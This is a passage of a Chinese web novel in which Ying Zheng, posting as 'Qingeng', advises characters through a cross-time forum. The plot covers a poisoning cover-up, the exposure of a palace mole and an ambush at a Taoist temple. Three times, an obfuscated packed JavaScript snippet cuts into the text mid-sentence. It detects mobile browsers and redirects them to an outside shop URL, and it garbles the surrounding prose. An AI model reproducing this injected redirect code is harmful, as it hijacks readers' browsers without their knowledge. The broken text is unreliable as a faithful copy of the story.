【鹄羽】:局中迷,局外清。投毒之事,破绽太多,反显刻意。 两人一唱一和,引导舆论偏向“构陷”说。 而“檐下雀”那边,则利用朝会后的短暂平静,加紧巩固根基。他通过胡不归的证词,以及李御史等人的暗中协助,开始梳理兵部、户部中与董氏关联过深的官员名单,并尝试接触其中几位被边缘化、或有怨言者。 “先生,兵部武库司郎中,是董太师远亲,但此人好赌,在外欠债累累。或许可从此处着手?” “先生,户部一位主事,曾因反对加征‘河工捐’被董氏打压,调任闲职。此人账目极精,或有可用。” 嬴政的指导更侧重于“分化”与“拉拢”的微妙平衡: “赌债之事可查,但勿直接要挟。可让人‘偶然’替他平了部分债务,再‘无意’透露是你的人所做。观其反应。若他主动来谢,便可徐徐图之;若装不知,则此人不可用,但债务把柄已握。” “那位主事,可借清查旧年河工账目之名,调他回户部协理。不必给实权,只给事做。看他是否仍怀怨气,是否有真才实干。可用,则慢慢提拔;不可用,则罢了。” 这些细碎的布局,看似不起眼,却是扎根土壤的根系。“檐下雀”学得很快,执行也谨慎。 一切似乎都在有条不紊地推进。 但嬴政心中的那根弦,并未放松。 他总觉得,有哪里不对劲。 太顺利了。 安平郡王中毒,皇帝第一时间下旨接回“我言秋日”,之后便不闻不问。朝中虽有议论,却无重量级人物公开发难。董氏受挫后异常安静,闭门“思过”,毫无反扑迹象。 这不像他熟悉的权力场。 暴风雨前,往往最是宁静。 这日午后,秋阳暖融。嬴政批完一份自拟的“漕运改革”奏折,搁下笔,揉了揉手腕。墨玉正蜷在窗台晒太阳,毛茸茸的一团,肚皮随着呼吸轻轻起伏。 他起身,走到那排木架前。自那日发现暗格后,他又仔细检查过书房各处,再未发现其他机关。那枚墨色玉佩此刻正躺在一个锦囊里,挂在他腰间——不知为何,他总觉得带在身上更安心。 或许是因为,“鹄羽”关于“阴阳鱼佩”的说法,让他对这玉佩多了几分探究之意。 正想着,光幕闪烁。 是“鹄羽”的私信。 【鹄羽】:先生,关于那‘阴阳鱼佩’,学生又查到些零碎记载。 嬴政立刻回复: 【青耕】:请讲。 【鹄羽】:残卷中提及,此佩乃上古‘司命’一族信物,非金非玉,材质特殊,水火不侵。双佩分阴阳,阳佩主‘观’,阴佩主‘溯’。若双佩合一,持之冥想,可观未来片段,溯过往迷雾。然,每用一次,耗神极巨,且所见所溯,未必真切,多有隐晦。 观未来?溯过往? 嬴政眉头微蹙。这说法太过玄奇,不像史实,倒像志怪传说。 【青耕】:司命一族?何族? 【鹄羽】:记载模糊,只言其族‘通晓天命,侍奉鬼神’,后因‘泄露天机过甚’,遭天谴而族灭。玉佩流散人间。 越说越玄了。 嬴政手指摩挲着腰间锦囊。玉佩触手生温,却又透着寒意。若真如“鹄羽”所言,这玉佩有窥探时空之能,那它出现在自己书房暗格中,是巧合,还是……某种安排? 他正欲再问,光幕又闪了闪。 这次是“我言秋日”,语气急促: 【我言秋日】:先生,安平郡王府刚传来消息——郡王醒了! 醒了? 嬴政神色一肃。 【青耕】:状况如何?神志可清? 【我言秋日】:刚醒,尚且虚弱,但已能简单言语。京兆尹冯大人正在问话。具体情形尚未传出。 关键时刻。 若安平郡王一口咬定是李昭下毒,即便证据不足,弑亲嫌疑也难洗清。若他改口,或言辞模糊,则转机立现。 【青耕】:等。一有消息,立刻告知。 【我言秋日】:是。 结束对话,嬴政坐回案前,手指无意识地敲击桌面。 墨玉被敲击声惊动,睁开眼,跳下窗台,走到他脚边,“喵”了一声。 嬴政弯腰将猫抱起,放在膝上。 “墨玉,”他低声道,“你说,那郡王醒来,会说什么?” 黑猫用脑袋蹭了蹭他的手心,呼噜作响,似在安慰。 等待的时间格外煎熬。 论坛里,关于安平郡王苏醒的消息已经传开。那个“风声鹤唳”的ID又发了一帖:《中毒郡王苏醒,真凶即将浮出水面?》,下面猜测纷纭。 嬴政没有看那些争论。他只是静静等着。 约莫过了一个时辰,私信终于再次闪烁。 【我言秋日】:先生,问话结束了! 【青耕】:如何? 【我言秋日】:冯大人刚出府,消息已漏出——郡王说,中毒前只觉蟹酿橙味道略异,但未多想。至于指向我的动作,他全无记忆,只说当时剧痛难忍,神志昏沉,不知手指何方。 全无记忆? 这说法,巧妙。 既未指认李昭,也未为她彻底开脱。只是将当时那充满指向性的动作,归咎于“剧痛昏沉”。 这意味着,安平郡王本人,并不想立刻与李昭撕破脸皮,或者说……他意识到,此事背后另有蹊跷,不愿被人当枪使。 【青耕】:京兆尹如何结案? 【我言秋日】:冯大人对外称,‘经查,毒物混于蟹酿橙调料中,系厨房一名帮厨受人收买所为。该帮厨已咬毒自尽,幕后主使仍在追查。’ 替罪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114057|195895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羊出现了。 厨房帮厨,收买,自尽。线索断了。 典型的弃卒保车,也是豪门大族处理此类丑闻的常规操作。 【青耕】:幕后主使‘仍在追查’,便是无限期搁置。此案,到此为止了。 【我言秋日】:先生,那我们……算是过关了? 嬴政沉吟。 表面上看,是的。弑亲嫌疑已洗脱,真凶,至少是执行者已“伏法”。她安全了。 但深想一层:那帮厨真是被收买的?收买者是谁?安平郡王为何选择模糊处理?那封预警的匿名信,又是谁送的? 迷雾并未散去,只是暂时被一阵风卷开了些许。 【青耕】:明面上,过关了。但你需明白,此次投毒,目标未必是你,也可能是安平郡王。你只是恰好被卷入,成为别人手中的刀,或盾。往后更要小心。 【我言秋日】:晚辈明白。那……我是否还要继续禁足? 【青耕】:再禁三日,然后主动上书,言‘蒙冤得雪,感激天恩,愿出宫为郡王叔祖祈福三日,以表孝悌’。姿态要做足。 【我言秋日】:是。 处理完这条,嬴政稍松一口气。 至少,最坏的弑亲罪名,暂时压下了。 他正欲歇息片刻,光幕又闪。 这次,是“檐下雀”。 内容却让他微微一愣。 【檐下雀】:先生,今日收到一封密信,夹在我常读的《左传》中。 又见密信? 嬴政眉峰微挑。 【青耕】:内容? 【檐下雀】:只有八字:‘小心身边,灯下最黑。’ 小心身边,灯下最黑。 意指危险来自亲近之人? 嬴政神色凝重。 【青耕】:信从何来?可有人动过你的书? 【檐下雀】:不知。书一直在我书房,平日只有两名贴身内侍可进。但此二人皆我乳母之子,自幼相伴,应无问题。 自幼相伴,才最易被忽视,也最易被收买。 【青耕】:勿要轻信。从今日起,重要事务、与我的联络,避开所有侍从。饮食起居,多加留意。另外,暗中查查那两名内侍近日有无异常举动,接触过何人。要隐秘。 【檐下雀】:先生,您是怀疑…… 【青耕】:非是怀疑,是谨慎。权力场上,无绝对可信之人。记住这句话。 【檐下雀】:……晚辈记住了。 结束对话,嬴政靠回椅背,闭目养神。 墨玉从他膝头跳下,走到窗边,望着外面渐斜的日头。 书房里安静下来。 但嬴政脑中,却纷乱如麻。 安平郡王中毒案,以替罪羊自尽草草收场。 “檐下雀”收到神秘警告,提醒身边有鬼。 两件事,看似无关,却都指向同一个事实:暗处的对手,不仅存在,而且已经将触角伸到了最核心的位置。 他们是谁?目的为何?下一个目标,又会是谁? 他睁开眼,目光落在光幕上。 论坛里依旧热闹,众生百态。有人为“我言秋日”洗脱嫌疑而欢呼,有人分析朝局走向,有人争论历史得失。 而在这些喧嚣之下,暗流正无声涌动。 他伸手,握住腰间锦囊。 玉佩的轮廓,隔着布料清晰可感。 阴阳鱼佩……若真能窥见一线天机,此刻,他真想看看,那躲在最深处的阴影,究竟是何模样。 窗外,秋风起,卷落几片早凋的梧桐叶,打着旋儿,飘过窗棂。 冬天,真的不远了。 --- 17. 灯下黑 【青耕】:查内鬼之事,可有进展? 两日后的清晨,嬴政在私信中问“檐下雀”。 【檐下雀】:先生,查过了。两名内侍,一名叫福安,一名叫禄全,皆是乳母之子,自幼与我一同长大。平日言行并无明显异常。但…… 【檐下雀】:但昨日我故意在书房‘不慎’掉落一份无关紧要的文书,上书‘已得密报,董氏将于三日后动手’。今日清晨,那份文书便不见了。而今日朝会后,董太师称病未至——他本已闭门思过,本就不该上朝。 试探奏效了。 文书丢失,董氏反应异常。内鬼确实存在,且在通风报信。 嬴政眼神微冷。 【青耕】:谁动的文书? 【檐下雀】:无法确定。书房夜间有值守,但二人皆可自由出入。今日我分别询问,福安说昨夜当值至子时,未见异常;禄全说今晨打扫时未见地上有文书。二人说辞,皆无破绽。 无破绽,才是最大的破绽。 内鬼受过训练,且心思缜密。 【青耕】:既如此,换个法子。你今日午后,分别召见二人,问同一件事:若有人欲对你不利,他们当如何应对。观其神色、言语、反应。记下所有细节。 【檐下雀】:先生,这是…… 【青耕】:问心。真心护主者,情急之下的反应,伪装不来。即便言语可编,眼神、气息、细微动作,总会露出破绽。 【檐下雀】:晚辈明白了。 结束对话,嬴政端起茶盏,轻啜一口。 秋茶已有些陈味,但醒神。 他看向窗外。园中那丛野菊开得正盛,金灿灿一片,在秋阳下晃眼。哑巴老叟正在修剪旁边枯死的藤蔓,动作迟缓却稳定。 人心如藤,有些看似枯死,却可能在暗处萌发新芽;有些看似鲜活,内里或许早已蛀空。 正想着,光幕又闪。 是“我言秋日”。 【我言秋日】:先生,我已上书,请求出宫为安平郡王祈福三日。父皇准了,命我后日启程,去京郊青阳观。禁足令也解了。 准了。 嬴政略一沉吟。 【青耕】:青阳观?何人提议此地? 【我言秋日】:是光禄大夫刘嵩。他在父皇面前说,青阳观是前朝皇家道观,清静灵验,最适合祈福。父皇便点了头。 刘嵩? 嬴政想起宴席上此人中立的态度,以及他女儿刘贵妃在后宫的位份。此刻主动提议青阳观,是示好,还是……另有安排? 【青耕】:此行带多少人?护卫如何安排? 【我言秋日】:依制,公主出宫祈福,可带侍女四人,内侍两人,护卫二十人。护卫由禁军调配——仍是副统领(支持我的那位)负责。 护卫是自己人,这点尚可。 但青阳观在京郊,路途、住宿、饮食,皆是变数。 【青耕】:路上小心。饮食自备,饮水用井水前先验。住宿之处,让你的人先彻查。祈福仪式,一切从简,莫要在观中久留。三日期满,即刻回宫。 【我言秋日】:是。先生,此次出宫,我总觉……不安。 她的直觉很准。 嬴政也是如此感觉。安平郡王中毒案草草了结,刘嵩突然示好提议出宫,时机太过微妙。 【青耕】:不安是对的。但不必惧。记住,你如今已不是任人拿捏的孤女。你有北境隐约的声援,有宫中部分人心,有逐渐清晰的‘大义’名分。他们若想动你,也需掂量后果。 【我言秋日】:谢先生。我会谨慎。 处理完这两桩,嬴政才稍松一口气。 他起身,走到那排木架前。自发现暗格后,他闲暇时便会仔细摩挲木架各处,试图找出更多线索,但一无所获。 这书房,这别业,乃至这枚玉佩,都透着蹊跷。 他取下腰间锦囊,拿出玉佩,对着窗外光线细看。 墨色温润,边缘那线翠色在日光下隐隐流动。中央的凹陷轮廓奇特,非圆非方,似某种古老的符文。 “阴阳鱼佩……”他低声自语。 若真如“鹄羽”所言,此佩能“观未来”、“溯过往”,该如何使用?只是持之冥想么? 他试着将玉佩握在掌心,闭上眼,凝神静气。 初时并无异样。但渐渐地,掌心传来温热的脉动,仿佛玉佩有了生命。眼前黑暗深处,似有微光浮动,但模糊不清,如隔浓雾。 他试图“看”得更清楚些,那微光却骤然散去,掌心一凉。 睁开眼,玉佩依旧安静躺在掌心,纹路清晰,并无变化。 是幻觉?还是……自己并非其主,无法催动? 正思索间,光幕又闪。 这次是“鹄羽”。 【鹄羽】:先生,学生又寻到一些关于‘司命族’的零星记载。 【青耕】:请讲。 【鹄羽】:残卷提及,此族人身负异能,但每用一次,便损一分寿元。故其族规极严,非生死攸关,不得擅用‘观溯’之能。且双佩需‘心意相通’者分持,方能共鸣。若强行合一,或反遭其噬。 损寿元?心意相通? 嬴政眉头深锁。这说法愈发玄奇,但不知为何,他心中却隐隐觉得,或许……真有几分道理。 否则,如何解释这玉佩出现在自己书房?又为何,自己触之有感,却无法真正“看见”? 【青耕】:心意相通……是指持佩之人彼此信任? 【鹄羽】:记载模糊。但学生推测,或许不止信任,更需‘志同道合’,甚至‘命运相连’。 命运相连…… 嬴政默然。他与谁命运相连?这论坛之中,谁又可能与这枚玉佩有关? “鹄羽”?“观棋不语”?还是……那两个他正在指导的年轻人? 他摇摇头,将这些纷乱的念头压下。 【青耕】:多谢鹄羽先生费心查证。这些记载,姑且听之。 【鹄羽】:先生说的是。学生也只是好奇罢了。另,学生听闻,那位公主即将出宫祈福? 消息真灵通。 嬴政回复: 【青耕】:是。鹄羽先生有何高见? 【鹄羽】:学生只是觉得,此时出宫,时机微妙。京郊虽近,但毕竟离了宫禁。先生还需提醒那位姑娘,万事小心。 又想到一处去了。 【青耕】:已提醒了。 【鹄羽】:那便好。学生就不多叨扰了。 结束对话,嬴政将玉佩收回锦囊,重新挂回腰间。 触感微凉,贴着衣料。 --- 午后,“檐下雀”的私信来了。 【檐下雀】:先生,我问过了。 【青耕】:如何? 【檐下雀】:福安答得很快,说‘若有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114058|195895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人害殿下,奴婢拼死也要护着’。言辞激动,眼眶发红。禄全却迟疑片刻,才说‘自当竭力护主’,语气平稳,但……眼神略有躲闪。 【檐下雀】:我问他们,若对方势大,护不住怎么办?福安说‘那便死在殿下前头’。禄全说‘当设法周旋,保全殿下为上’。 反应截然不同。 福安是纯粹的忠仆思维,以死相护。禄全则更“理智”,甚至想到了“周旋”。 孰真孰假? 【青耕】:你如何看? 【檐下雀】:先生,晚辈……不愿怀疑他们中任何一个。但若非要选,禄全的迟疑和‘周旋’之说,让晚辈心中不安。 确实。 危急关头,“周旋”二字,往往意味着妥协,甚至……背叛。 【青耕】:既如此,再试一次。今晚,你故意在二人都在时,‘不慎’说漏一句:‘父皇似有意让我去江南巡查漕运,可能下月动身。’然后观察,谁将此消息传出,传给何人。 【檐下雀】:先生,这……若真有人传出去,岂不打草惊蛇? 【青耕】:要的就是打草惊蛇。蛇动了,才知藏在哪处草丛。且巡查漕运是虚言,无妨。 【檐下雀】:明白了。 结束对话,嬴政靠在椅背,闭目养神。 墨玉跳上案几,用爪子轻轻扒拉他衣袖。 “饿了?”嬴政睁开眼,揉了揉猫脑袋,“这就让人给你弄鱼。” 他起身,走出书房。哑巴老叟正在廊下晒制干菊,见他出来,躬身行礼。 “墨玉的鱼,要新鲜的。”嬴政比划了一下。 哑巴老叟点头,转身往庖厨去。 嬴政站在廊下,看着满园秋色。菊花开得正好,黄的、白的、紫的,热热闹闹挤在一起。远处骊山苍黛,云絮舒卷。 一派宁静祥和。 但他知道,这宁静之下,暗潮正涌。 两个年轻人,一个在排查身边之鬼,一个将踏入京郊未知的险地。而他,握着枚来历不明的玉佩,隔着光幕,试图为他们指引方向。 退休生活,果然不清闲。 他笑了笑,走回书房。 光幕还亮着。论坛公共区,那个关于“女子为帝”的帖子又被人顶了起来,新的争论围绕着“我言秋日”洗脱嫌疑之事展开。 有人赞她“沉冤得雪,天理昭昭”,有人讽她“手段高明,全身而退”。 众生百态,尽收眼底。 嬴政扫了几眼,没有参与。他点开“观棋不语”的私信窗口——上次对话后,此人又沉寂了。 他想了想,主动发了一条: 【青耕】:近日可还安好? 没有回应。 头像灰暗,离线状态。 嬴政也不在意,关掉窗口。 他走到书架前,抽出一卷《战国策》,随意翻看。那些合纵连横、远交近攻的旧事,此刻读来,竟与光幕那头的朝堂争斗、闺阁谋算,隐隐呼应。 历史从不重复,但总是押韵。 窗外,日头西斜,将书房染上一层温暖的橘色。 墨玉吃饱了鱼,心满意足地跳上窗台,舔着爪子洗脸。 嬴政放下书卷,走到窗边,与猫一同望向远山。 暮色渐起,归鸟投林。 又是一个白天将尽。 而明天,新的棋局,又将开始。 --- 18. 蛇动 试探的饵,当晚就见了效。 翌日清晨,嬴政刚推开书房门,私信提示便急促闪烁起来。是“檐下雀”,消息发于昨夜子时之后: 【檐下雀】:先生,蛇动了! 【檐下雀】:昨夜我在书房‘说漏’巡查漕运之事后,暗中让人盯住福安、禄全二人。禄全在子时初刻,借口‘为殿下取夜宵’,离开住所半刻钟。盯梢的人见他绕到后花园假山处,将一小卷纸条塞进石缝。 【檐下雀】:取纸条的人,是董太师府上一个采买仆役的远亲,在府中马厩当差。纸条内容已截获,上面写着:‘江南之行,疑为虚晃,下月之期不实,或另有图谋。’ 果然是禄全。 嬴政眼神微冷。子时传信,假山石缝,马厩仆役……一套完整的、隐蔽的传递链条。这不是临时起意,而是经营已久的暗线。 【青耕】:福安呢? 【檐下雀】:福安一夜未出,今晨如常当值,神色无异。 【青耕】:禄全现在何处? 【檐下雀】:仍在当值,不知已被察觉。先生,该如何处置? 处置? 嬴政沉吟。直接拿下禄全,简单,但会打草惊蛇,断了与董氏联系的这条线。不拿,留此内鬼在身边,如芒在背。 两害相权。 【青耕】:暂不动他。 【檐下雀】:先生? 【青耕】:此人已是明棋,反可利用。从今日起,你可通过他,传递一些真伪混杂的消息给董氏。比如,你确实有意巡视江南,但时间在三月后,且路线尚未确定。让他去报。 反间计。 【檐下雀】:晚辈明白了!只是……心中终究难受。 自幼相伴之人,竟是埋在身边最深的钉子。这种背叛,确实伤人。 【青耕】:难受是常情。但既入此局,便需习惯。记住,权力场上,最先要防的,往往是最亲近之人。此为铁律。 【檐下雀】:……是。 结束对话,嬴政端起茶盏,慢慢饮了一口。 秋茶涩后回甘,像极了此刻心境。 他放下茶盏,目光转向“我言秋日”的窗口。今日,是她出宫前往青阳观祈福的日子。 私信里已有几条汇报: 【寅时】:已起身,更衣,用过早膳。一切如常。 【辰时】:车驾齐备,护卫点验完毕,准备出发。 【辰时三刻】:已出宫门,往青阳观去。沿途百姓围观,秩序尚可。 最后一条是一个时辰前发的,之后便再无消息。 算时间,此刻应已在路上,或已抵达青阳观。 嬴政没有发信去问。该嘱咐的早已嘱咐,此刻再多言,反可能扰她心神。 他起身,走到窗边。晨雾已散,秋阳明晃晃地照着庭院。墨玉在廊下扑一只枯叶蝶,扑空了几次,有些不耐烦地“喵”了一声。 “过来。”嬴政唤道。 墨玉立刻放弃蝴蝶,小跑过来,蹭他的腿。 嬴政弯腰将猫抱起,走回书案前。他将墨玉放在膝上,一手抚着猫背,一手点开论坛。 公共区依旧热闹。有人转述了“檐下雀”那个时空的朝局变动——董太师“病”了,兵部左侍郎重新得用,北境监军换人……虽然细节模糊,但大体脉络清晰。下面跟帖讨论着“权臣倒台的前兆”。 另一条帖子则在议论“我言秋日”出宫祈福之事:“听说那位公主今日去青阳观了?刚经历中毒风波就出宫,胆子真大。”“会不会再出事?”“@青耕先生,您怎么看?” 嬴政没有回复。 他点开与“鹄羽”的私信窗口。想了想,发了一条: 【青耕】:鹄羽先生对‘反间’之计,有何见解? 很快,回复来了: 【鹄羽】:先生此问,似有所指。反间之要,在于‘以假乱真,以真示假’。让敌自以为得计,实则步入我彀中。然,用间者需心硬如铁,因被反间者,往往曾是最信任之人。 说得透彻。 【青耕】:然也。只是少年心性,难免伤怀。 【鹄羽】:成长之痛,必经之路。先生当年,想必亦曾经历。 这话里,又带上了那种若有若无的试探。 嬴政神色不变。 【青耕】:陈年旧事,不提也罢。倒是鹄羽先生,似乎对人心把握极深。 【鹄羽】:学生只是纸上谈兵,不及先生身处局中,洞若观火。 两人打了几句机锋,便默契地不再深谈。 结束对话,嬴政将墨玉放到地上,起身在书房内踱步。 心中那股隐隐的不安,并未因“檐下雀”揪出内鬼而消散,反而随着“我言秋日”出宫的时间推移,愈发清晰。 青阳观……刘嵩……祈福…… 他停步,看向腰间锦囊。 玉佩安静地贴着衣料,温凉如常。 若真能“观”未来一瞬,此刻他真想看看,那青阳观中,究竟藏着什么。 但念头只是一闪而过。他终究不是依赖玄异之人。 他坐回案前,摊开绢帛,提笔欲写,却又顿住。 写什么呢?记录今日之事?评点反间之策?还是……抒解那莫名的不安? 最终,他只写了两行: 【论坛纪事·其六】 【蛇已惊,饵仍悬。雏凤离巢,山雨在前。】 搁笔。 窗外忽有风起,卷着几片黄叶扑在窗纸上,沙沙作响。 --- 青阳观坐落于京郊西山半腰,背倚峭壁,前临深涧,只有一条陡峭石阶可通。道观不大,但因是前朝敕建,又传闻有高人隐居,香火一直不错。 李昭的车驾在午时前抵达山脚。护卫清开闲杂人等,她下了车,换乘软轿,由四名健妇抬着,沿石阶缓缓而上。 碧荷跟在轿旁,不时低声提醒:“殿下,前面路陡,当心。” 李昭“嗯”了一声,目光透过轿帘缝隙,打量着沿途景色。秋山苍黄,间有红叶点缀。石阶年久,边缘生着青苔。道旁古木参天,鸟鸣清越。 一切看似宁静。 但她的手,始终按在袖中暗藏的短刃柄上,那是出宫前,她让碧荷偷偷准备的。先生说得对,有些事,终究要靠自己。 软轿在观门前停下。观主是个须发皆白的老道士,带着几名道童已在门前迎候。 “贫道清虚,恭迎公主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114059|195895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿下。”老道士稽首行礼,声音平和。 “道长不必多礼。”李昭微微颔首,下了轿,“本宫此行,是为郡王叔祖祈福,也为国朝求安。打扰道长清修了。” “殿下有心,乃社稷之福。”清虚侧身引路,“请。” 道观内部比外观更为古朴,青砖灰瓦,庭院深深。正中三清殿香烟袅袅,两侧偏殿静寂。李昭依礼先至三清殿上香,默祷片刻,然后被引至后院的“静心斋”歇息,那是观中最好的客舍,独门小院,清幽非常。 “殿下可在此歇息,斋饭稍后便送来。”清虚说完,便带着道童退下了。 碧荷立刻带人将小院内外仔细检查了一遍,连床榻、桌椅、窗棂都一一敲打摸索,确认无误,才让李昭入内。 “殿下,这观里……太静了。”碧荷低声道。 确实静。除了风声鸟鸣,几乎听不到人声。连那些道童走路都轻飘飘的,仿佛脚不沾地。 李昭在窗边坐下,看着院中一株老银杏,金黄的叶子落了满地。 “静,才好。”她轻声说,“太闹了,反而让人不安。” 话虽如此,她心中的警惕并未放松。先生说过,越是平静处,越可能藏波澜。 斋饭很快送来,四菜一汤,皆是素净食材。碧荷照例先试,确认无恙后,李昭才用了少许。 午后,她在小憩片刻,便去经堂抄经,这是祈福的例行功课。经堂里已备好笔墨纸砚,檀香幽幽。她静心抄了半个时辰《道德经》,直到手腕微酸,才搁笔。 一切如常,平静得近乎枯燥。 但就在她准备离开经堂时,变故发生了。 不是下毒,不是刺杀,甚至没有任何人接近她。 是火。 静心斋的方向,突然冒出滚滚浓烟! “走水了!”外面传来道童惊慌的喊叫。 李昭霍然起身,碧荷已护在她身前:“殿下,我们……” “回去看看!”李昭当机立断,快步走出经堂。 院中已乱成一片。道士、护卫都在往静心斋跑。李昭赶到时,火势已起,虽不算太大,但浓烟弥漫,一时难以靠近。 “怎么回事?”她厉声问。 一名护卫满脸烟灰,跪地道:“殿下,是……是厨房的柴堆不知怎地着了,引燃了隔壁杂物房,火势蔓延到了静心斋偏厢!属下等正在扑救!” 柴堆自燃?杂物房? 李昭心中警铃大作。太巧了。 她目光扫过混乱的人群,忽然,在人群边缘,看到一个身影。一个穿着道袍,却明显不是观中道士的陌生面孔,正悄悄往观外退去。 “抓住他!”李昭指向那人。 护卫一愣,随即反应过来,扑向那人。 那人见势不妙,转身就跑,动作极快,转眼就冲出了观门,往山下逃去。 “追!”护卫头领留下几人救火护驾,带着其余人追了下去。 李昭站在原地,看着眼前混乱的火场,和远处逃窜的身影,心中一片冰冷。 这不是意外。 是调虎离山。 她的目光,缓缓转向观中另一个方向,那里,是通往西山后山,唯一一条人迹罕至的小径。 19. 后山 火还在烧,但已控制住,只烧毁了静心斋偏厢的一角。浓烟渐散,空气中弥漫着焦糊味和檀香混合的古怪气息。 李昭站在院中,看着护卫们提水泼洒余烬,道童们惊慌地聚在远处。清虚观主连声道歉,额上满是冷汗。 “殿下受惊了,贫道罪该万死……” 李昭摆摆手,打断他:“道长不必自责,天灾人祸,非道长所能预料。”她目光扫向观门外,护卫头领还未回来,假道士逃得极快,恐怕追不上了。 她的心却不在火场,也不在逃犯。 而在那条通往西山后山的小径。 调虎离山,引开护卫,真正的目标是什么?若想害她,方才混乱中出手,机会多得是。既未出手,那目的便不是刺杀。 是……引她去后山? 她想起先生说过:越是刻意安排,越要反其道而行之。 但若不去,如何知道对方布了什么局?未知,才是最危险的。 她心中快速权衡。 “碧荷。”她低声唤。 “奴婢在。”碧荷立刻凑近。 “你留在此处,若护卫头领回来,让他立刻带人来后山寻我。”李昭声音极低,“若一炷香后我未归,你便设法回宫报信,说我在青阳观遇险,被困后山。” 碧荷脸色一白:“殿下,您要独自去后山?太危险了!” “正因危险,才要去看个明白。”李昭神色冷静,“放心,我自有分寸。” 她说完,不等碧荷再劝,便转身,看似随意地往观后走去。道观后门虚掩,推开是一条青石小径,蜿蜒伸入密林。 秋日林间,落叶铺了厚厚一层,踩上去沙沙作响。阳光透过稀疏的枝桠,在地上投下斑驳光影。四周极静,连鸟鸣都听不见。 李昭握紧了袖中短刃,放轻脚步,沿着小径前行。 约莫走了半盏茶功夫,前方出现一处岔路。一条继续向上,通往山顶;一条向右岔开,隐入一片更密的松林。 她停下,凝神细听。 右侧松林深处,似乎有极轻微的……水声? 她犹豫片刻,选择了右路。 松林更暗,光线被浓密的针叶遮挡,地上积着厚厚的松针,踩上去悄无声息。水声渐近,转过一处山岩,眼前豁然开朗—— 是一处隐蔽的山涧。一道细瀑从崖壁垂下,汇入下方浅潭,潭水清澈见底,四周怪石嶙峋。潭边空地上,竟有一间简陋的茅屋。 茅屋门扉紧闭,窗纸破损,看起来荒废已久。 但李昭注意到,屋前空地上的落叶有被踩踏的痕迹,且痕迹很新。 她屏住呼吸,缓缓靠近。 离茅屋还有十步远时,门忽然“吱呀”一声,从内推开了。 一个穿着粗布衣衫、头发花白的老妇人,端着木盆走了出来,似乎要去潭边打水。她抬头,看见李昭,明显一愣。 两人对视。 老妇人面容苍老,但眼神清明,甚至带着某种久居人上的威仪余韵。她看着李昭,眼中闪过惊愕、审视,然后是一丝了然的复杂。 “你……是昭儿?”老妇人开口,声音沙哑,却字字清晰。 李昭心头一震。 这老妇人认识她?还叫她“昭儿”? 宫中会如此称呼她的,只有父皇、早逝的母后,以及……几位早已故去或离宫多年的老嬷嬷。 “你是何人?”李昭没有放松警惕,手仍按在袖中刃柄上。 老妇人放下木盆,缓缓站直身体。她个子不高,背有些佝偻,但那份气度,绝非寻常村妇。 “老身姓卫。”她缓缓道,“二十六年前,曾是先帝宫中的尚仪女官。” 卫尚仪? 李昭隐约记得这个名字。幼时听乳母提过,先帝晚年最信任的女官,精明干练,后因卷入某桩旧案,被贬出宫,不知所踪。 “你怎会在此?”李昭问。 “说来话长。”卫氏看着她,目光深邃,“老身在此隐居,本是为了避祸,也为了……守着一些不该被世人知道的旧事。但今日,你来了。” “今日观中起火,假道士引开护卫,是你安排的?”李昭直截了当。 卫氏摇了摇头:“火不是我放的。但我知道会出事,所以让人扮作道士,在火起时露面,引你注意。若你足够警觉,便会发现他,并注意到这条小径。” “为何引我来?” “因为有些事,该让你知道了。”卫氏转身,推开茅屋的门,“进来吧,此处无人打扰。” 李昭迟疑一瞬,还是跟了进去。 茅屋内陈设极简,一榻一桌一椅,墙上挂着一幅泛黄的女子画像。画中女子容貌秀美,眉眼间与李昭有几分相似。 “这是……”李昭凝目。 “你的祖母,孝懿皇后。”卫氏声音低沉,“也是……安平郡王的生母。” 李昭瞳孔微缩。 孝懿皇后,先帝元配,早逝。安平郡王是她独子。这些都是宫中旧闻。 但卫氏接下来的话,却让她如遭雷击: “你可知,孝懿皇后并非病逝,而是被毒杀的?而下毒之人,正是当今太后——你的皇祖母。” 李昭倒退一步,撞在门框上。 “不可能……”她声音发颤,“皇祖母她……” “她与孝懿皇后同期入宫,一个为后,一个为妃。孝懿皇后贤德,深得先帝敬重,却多年无子。后来好不容易怀了安平郡王,生产时却伤了根本,再难有孕。”卫氏语气平静,仿佛在说别人的故事,“而当时的贵妃,也就是如今的太后,野心勃勃,一心要让自己儿子,也就是你父皇,登上储位。” “所以……她毒杀了皇后?”李昭几乎说不出话。 “是。”卫氏点头,“那毒下得隐秘,连御医都诊不出,只说是产后虚弱,渐至油尽灯枯。先帝悲痛,却未深究。之后,贵妃之子顺理成章被立为太子,继位为帝。” “你……如何知道这些?”李昭盯着她。 